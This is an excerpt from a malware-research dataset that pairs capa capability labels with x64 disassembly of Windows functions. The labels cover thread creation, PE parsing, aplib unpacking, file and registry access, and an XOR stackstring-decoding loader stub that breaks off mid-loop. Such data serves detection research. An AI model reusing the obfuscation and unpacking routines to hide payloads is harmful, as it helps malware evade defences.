joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400242a8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov rbx, rcx
cmp dword [rcx], edi
jbe 0x14002434a
lea rax, [rsp + 0x40]
mov r9, rbx
mov qword [rsp + 0x28], rax
lea r8, [0x140024450]
and dword [rsp + 0x20], 0
mov edx, 0x10000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x140024320
lea rdx, str.CreateThread_failed
lea rcx, [0x140066ee8]
call fcn.14000cd88
lea rcx, [0x140066ee8]
call fcn.14000d0a0
lea edx, [rsi + 2]
lea rcx, [0x140066ee8]
call fcn.14000cd5c
mov qword [rbx + rdi*8 + 8], rsi
inc dword [rbx + 0x208]
mov edx, dword [0x140072060]
test edx, edx
je 0x140024340
mov rcx, qword [rbx + rdi*8 + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
inc edi
cmp edi, dword [rbx]
jb 0x1400242c4
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140031abc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140031b06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140031b06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140031b06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140031b06
cmp dword [rcx + 0x84], 0xe
jbe 0x140031b06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140031b08
xor al, al
add rsp, 0x28
ret

Function at 0x140039784
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140039558
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140039558
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140039558
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140039558
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140039558
cmp dword [rcx + 0x84], 0xe
jbe 0x140039558
cmp dword [rcx + 0xf8], esi
je 0x140039558
mov ecx, r14d
call fcn.1400396a0
mov ecx, 2
call fcn.14003dbd8
nop
cmp byte [0x140072a68], 0
jne 0x140039622
mov r15d, 1
mov eax, r15d
xchg dword [0x140072a58], eax
test ebx, ebx
jne 0x1400395cb
mov rdi, qword [0x14005c318]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140072a60]
cmp rcx, rax
je 0x1400395c2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.14000ea80]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140072bc8]
jmp 0x1400395d7
cmp ebx, r15d
jne 0x1400395dd
lea rcx, [0x140072be0]
call fcn.14003b770
nop
test ebx, ebx
jne 0x1400395f4
lea rdx, [0x140047610]
lea rcx, [0x1400475f0]
call fcn.14003ba70
lea rdx, [0x140047620]
lea rcx, [0x140047618]
call fcn.14003ba70
movzx eax, byte [0x140072a68]
test esi, esi
cmove eax, r15d
mov byte [0x140072a68], al
jmp 0x140039622
mov ecx, 2
call fcn.14003dc38
test esi, esi
jne 0x140039639
mov ecx, r14d
call fcn.140039654
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400394e8
Function at 0x14064c058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14064c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14064c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064c06f
add dl, dl
jne 0x14064c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064c0f6
xor eax, eax
add dl, dl
jne 0x14064c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064c1ad
add dl, dl
jne 0x14064c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14064c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14064c07e
mov eax, 1
add dl, dl
jne 0x14064c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064c0fb
sub eax, ebx
mov ebx, 1
jne 0x14064c14c
mov ecx, 1
add dl, dl
jne 0x14064c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14064c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14064c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14064c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14064c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064c15d
cmp eax, 0x7d00
jae 0x14064c19b
cmp eax, 0x500
jb 0x14064c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14064c07e
cmp eax, 0x7f
ja 0x14064c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14064c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14064c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14064c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180c8b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.180c8b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180c8b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180c8b06f
add dl, dl
jne 0x180c8b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180c8b0f6
xor eax, eax
add dl, dl
jne 0x180c8b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180c8b1ad
add dl, dl
jne 0x180c8b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180c8b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180c8b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180c8b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180c8b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180c8b07e
mov eax, 1
add dl, dl
jne 0x180c8b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180c8b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180c8b0fb
sub eax, ebx
mov ebx, 1
jne 0x180c8b14c
mov ecx, 1
add dl, dl
jne 0x180c8b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180c8b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180c8b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180c8b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180c8b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180c8b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180c8b15d
cmp eax, 0x7d00
jae 0x180c8b19b
cmp eax, 0x500
jb 0x180c8b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180c8b07e
cmp eax, 0x7f
ja 0x180c8b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180c8b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180c8b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180c8b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800267fc
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1800267fc
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18002686b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18002686b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18002686b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18002686b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18002686b
cmp dword [rcx + 0x84], 0xe
jbe 0x18002686b
cmp dword [rcx + 0xf8], 0
je 0x18002686b
mov ecx, ebx
call fcn.180026734
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.180026990
nop
cmp dword [rbp + 0x20], 0
je 0x1800268b9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800267c8
int3

Function at 0x180027c90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180027cb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180027cb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x18002e3d4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18002e404
xor eax, eax
jmp 0x18002e4c7
mov rbp, rbx
cmp word [rax], si
je 0x18002e429
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18002e410
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18002e40c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18002e2f4
movsxd r14, eax
test eax, eax
jne 0x18002e467
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18002e3fd
mov rcx, r14
call fcn.18002bddc
mov rdi, rax
test rax, rax
jne 0x18002e480
xor ecx, ecx
call fcn.18002b24c
jmp 0x18002e45c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18002e2f4
test eax, eax
jne 0x18002e4b1
mov rcx, rdi
call fcn.18002b24c
jmp 0x18002e4bb
xor ecx, ecx
call fcn.18002b24c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x180033898
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800338ae
mov al, 1
jmp 0x18003390e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800338bf
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18003390c
mov ecx, dword [rcx + 0x18]
nop
call fcn.180030174
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18003390c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18003390c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18003390c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18003390e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x180036450
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180a86b80]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1800364a7
cmp word [rdx], r13w
jne 0x1800364a7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1800364ac
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1800365d1
mov r11d, recv
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800365f2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1800364e5
mov rdx, r9
mov word [rbx], cx
jmp 0x18003650c
cmp r9, r8
jae 0x18003651c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1800364c6
jmp 0x1800365d1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800365c6
cmp dword [rsp + 0x80], esi
je 0x1800365c6
lea r8, [0x180a86b80]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18003659e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18003656e
mov word [rbx], r13w
jmp 0x1800365ce
mov ecx, recv
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18003657b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1800365ce
cmp word [rsp + 0x70], r13w
jne 0x1800365ab
cmp rbx, r14
je 0x180036568
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180035a0c
cmp word [rsp + 0x70], r13w
je 0x1800365d1
mov ecx, recv
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180a86b80]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1800365cb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1800365d1
Function at 0x1800374b0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180035a0c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180035a0c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180037600
cmp rax, 0xffffffffffffffff
je 0x180037600
xor edi, edi
test rbp, rbp
jle 0x1800375ab
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18002bc6c
mov rbx, rax
test rax, rax
jne 0x180037538
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800375a1
mov edx, 0x8000
mov ecx, r14d
call fcn.180037334
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180030dc4
cmp eax, 0xffffffff
je 0x180037581
cdqe
sub rbp, rax
test rbp, rbp
jg 0x180037548
mov edx, r15d
mov ecx, r14d
call fcn.180037334
jmp 0x1800375a1
cmp byte [rsi + 0x38], dil
je 0x180037598
cmp dword [rsi + 0x34], 5
jne 0x180037598
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
cmp byte [rsi + 0x30], dil
je 0x1800375a1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18002b24c
jmp 0x180037614
jns 0x180037614
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180035a0c
cmp rax, 0xffffffffffffffff
jne 0x1800375cc
cmp byte [rsi + 0x30], dil
je 0x180037614
mov edi, dword [rsi + 0x2c]
jmp 0x180037614
mov ecx, r14d
call fcn.180030174
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180037614
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], send
jmp 0x180037614
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x18003760d
mov eax, dword [rsi + 0x2c]
jmp 0x180037612
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180035a0c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400038f0
Capabilities:
Get hostname

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x140013028]
xor rax, rsp
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
mov dword [rsp + 0x20], reloc.OLEAUT32.dll_SafeArrayGetDim
mov rdi, rcx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x140003952
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call qword [sym.imp.VBoxRT.dll_RTErrConvertFromWin32]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140005f60
add rsp, 0x60
pop rdi
ret
lea r8, str.B:_bAntidetect_srcVBoxFrontendsVBoxAutostartVBoxAutostart_win.cpp
mov qword [rsp + 0x78], rbx
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x30]
call qword [sym.imp.VBoxRT.dll_RTUtf16ToUtf8Tag]
mov rdx, qword [rsp + 0x28]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.VBoxRT.dll_public:_class_RTCString____ptr64___cdecl_RTCString::operator_char_const____ptr64____ptr64]
mov rcx, rdi
call qword [sym.imp.VBoxRT.dll_public:_class_RTCString____ptr64___cdecl_RTCString::toLower_void____ptr64]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.VBoxRT.dll_RTStrFree]
mov eax, ebx
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140005f60
add rsp, 0x60
pop rdi
ret
Function at 0x140003dd0
Capabilities:
Access the windows event log

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rdi, rcx
mov ebx, edx
mov ecx, 0x200010
call qword [sym.imp.VBoxRT.dll_RTLogRelGetDefaultInstanceEx]
test rax, rax
je 0x140003e18
mov edx, reloc.OLEAUT32.dll_SafeArrayGetDim
mov qword [rsp + 0x20], rdi
lea r9, [0x14000b27c]
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.VBoxRT.dll_RTLogLoggerEx]
lea r14, str.VBoxAutostartSvc
xor ecx, ecx
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rsi, rax
test rax, rax
je 0x140003f1a
mov qword [rsp + 0x70], rbp
xor ebp, ebp
mov qword [rsp + 0x50], r14
movzx edx, bp
mov qword [rsp + 0x58], rdi
lea r14d, [rbp + 2]
sub ebx, 1
je 0x140003ec2
sub ebx, 1
je 0x140003ea1
sub ebx, 1
je 0x140003e81
cmp ebx, 1
jne 0x140003edf
mov rcx, qword [sym.imp.VBoxRT.dll_g_pStdOut]
lea rdx, [0x14000b27c]
mov r8, rdi
mov rcx, qword [rcx]
call qword [sym.imp.VBoxRT.dll_RTStrmPrintf]
lea edx, [rbp + 4]
jmp 0x140003edf
mov rcx, qword [sym.imp.VBoxRT.dll_g_pStdOut]
lea rdx, str.Warning:__s
mov r8, rdi
mov rcx, qword [rcx]
call qword [sym.imp.VBoxRT.dll_RTStrmPrintf]
movzx edx, r14w
jmp 0x140003edf
mov rcx, qword [sym.imp.VBoxRT.dll_g_pStdErr]
lea rdx, str.Error:__s
mov r8, rdi
mov rcx, qword [rcx]
call qword [sym.imp.VBoxRT.dll_RTStrmPrintf]
mov edx, 1
jmp 0x140003edf
mov rcx, qword [sym.imp.VBoxRT.dll_g_pStdOut]
lea rdx, [0x14000b27c]
mov r8, rdi
mov rcx, qword [rcx]
call qword [sym.imp.VBoxRT.dll_RTStrmPrintf]
movzx edx, bp
mov qword [rsp + 0x40], rbp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], ebp
xor r9d, r9d
mov word [rsp + 0x28], r14w
mov rcx, rsi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_ReportEventA]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov rbp, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x1400081d0
Capabilities:
Query or enumerate registry value

Disassembly:
cmp rdx, 0x1000
jb 0x140008311
push rbx
sub rsp, 0x40
movabs rax, 0xffff800000000000
mov rbx, rdx
test rax, rdx
jne 0x14000830c
mov qword [rsp + 0x50], rdi
xor edi, edi
mov qword [rdx], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x30], rdi
call qword [sym.imp.ole32.dll_StringFromIID]
test eax, eax
jne 0x140008307
lea rax, [rsp + 0x38]
xor r8d, r8d
lea r9d, [rdi + 1]
mov qword [rsp + 0x20], rax
lea rdx, str.Interface
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400082fc
mov rdx, qword [rsp + 0x30]
lea rax, [rsp + 0x68]
mov rcx, qword [rsp + 0x38]
lea r9d, [rdi + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400082f1
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400082e6
cmp dword [rsp + 0x60], 1
jne 0x1400082e6
mov edx, dword [rsp + 0x58]
xor ecx, ecx
inc edx
shr edx, 1
inc edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
lea rcx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov qword [rbx], rax
mov qword [rsp + 0x28], rcx
xor edx, edx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1400082e6
mov rcx, qword [rbx]
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], rdi
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rdi, qword [rsp + 0x50]
add rsp, 0x40
pop rbx
ret
Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
xor ecx, ecx
movabs rax, sym.imp.KERNEL32.dll_LoadLibraryExW
xor r8d, r8d
mov rax, qword [rax]
mov word [rbp - 0x24], cx
lea rcx, [rbp - 0x30]
xor edx, edx
mov dword [rbp - 0x20], 0x32697069
mov dword [rbp - 0x1c], 0x55263644
mov dword [rbp - 0x18], 0x56414137
mov dword [rbp - 0x14], 0x4b40234f
mov dword [rbp - 0x10], 0x3352453c
mov dword [rbp - 0xc], 0x5a717828
mov byte [rbp - 8], 0
movabs rbx, 0x140017779
movabs rdi, 0x140017b61
mov dword [rbp - 0x30], 0x630073
mov dword [rbp - 0x2c], 0x65002e
mov dword [rbp - 0x28], 0x650078
call rax
test rax, rax
je 0x140001099
movabs rbx, 0x140027457
mov rdi, rbx
mov r9d, 2
lea r8, [rdi + 1]
mov r10d, 0x190
movabs r11, 0x47ae147ae147ae15
nop dword [rax]
nop word [rax + rax]
lea eax, [r9 - 2]
lea r8, [r8 + 5]
movsxd rcx, eax
mov rax, r11
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x19
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
xor byte [r8 - 6], al
lea eax, [r9 - 1]
movsxd rcx, eax
mov rax, r11
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x19
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
movsxd rcx, r9d
xor byte [r8 - 5], al
mov rax, r11
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 4
imul rax, rax, 0x19
sub rcx, rax
movzx eax, byte [rbp + rcx - 0x20]
xor byte [r8 - 4], al
lea eax, [r9 + 1]
movsxd rcx, eax
mov rax, r11
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
